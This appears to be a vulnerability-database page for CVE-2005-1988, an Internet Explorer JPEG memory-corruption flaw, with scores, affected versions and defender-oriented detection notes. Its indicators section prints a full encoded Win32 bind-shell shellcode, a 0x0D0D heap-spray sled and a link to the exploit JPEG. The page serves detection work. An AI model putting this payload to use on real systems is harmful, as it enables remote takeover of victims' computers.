cbcvebase.
CVE-2005-1988
published 2005-08-10

CVE-2005-1988: Unknown vulnerability in Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to execute arbitrary code via a web site or an HTML e-mail containing a…

PriorityP337medium5.1CVSS 2.0
AVNACHAuNCPIPAP
EXPLOIT
EPSS
45.60%
98.7th percentile
Unknown vulnerability in Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to execute arbitrary code via a web site or an HTML e-mail containing a crafted JPEG image that causes memory corruption, aka "JPEG Image Rendering Memory Corruption Vulnerability".

Affected

3 ranges
VendorProductVersion rangeFixed in
microsoftie
microsoftinternet_explorer
microsoftinternet_explorer

Detection & IOCsextracted from sources · hover to see the quote

urlhttps://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25992-1.jpg
otherCLSID: 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5
port28876
bytes
%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb
bytes
%u0D0D%u0D0D
  • Exploit delivers a Win32 bind shell on TCP port 28876 via heap spray using NOP sled of 0x0D0D0D0D; detect outbound connections to port 28876 following IE JPEG rendering activity.
  • Heap spray pattern uses repeated 0x0D0D0D0D as the NOP sled; scan JavaScript in HTML pages or email for unescape("%u0D0D%u0D0D") combined with shellcode allocation.
  • Exploit instantiates the blnmgr.dll COM object by CLSID 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5; monitor for CreateObject or ActiveX instantiation of this CLSID in browser context.
  • Vulnerability is triggered by a crafted JPEG image delivered via web page or HTML email; inspect JPEG files for malformed/corrupt headers that cause memory corruption in IE's rendering library.
  • Exploit uses location.reload() after payload delivery; combined with shellcode unescape patterns in the same HTML page, this sequence is a strong behavioral indicator.
  • ·CVE-2005-1988 affects Internet Explorer 5.0, 5.5, and 6.0 only; the JPEG memory corruption vulnerability does not affect later IE versions.
  • ·The exploit PoC (EDB-25991) was generated via random fuzzing and was not researched further at time of disclosure; the exact malformed JPEG structure may vary across real-world samples.
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.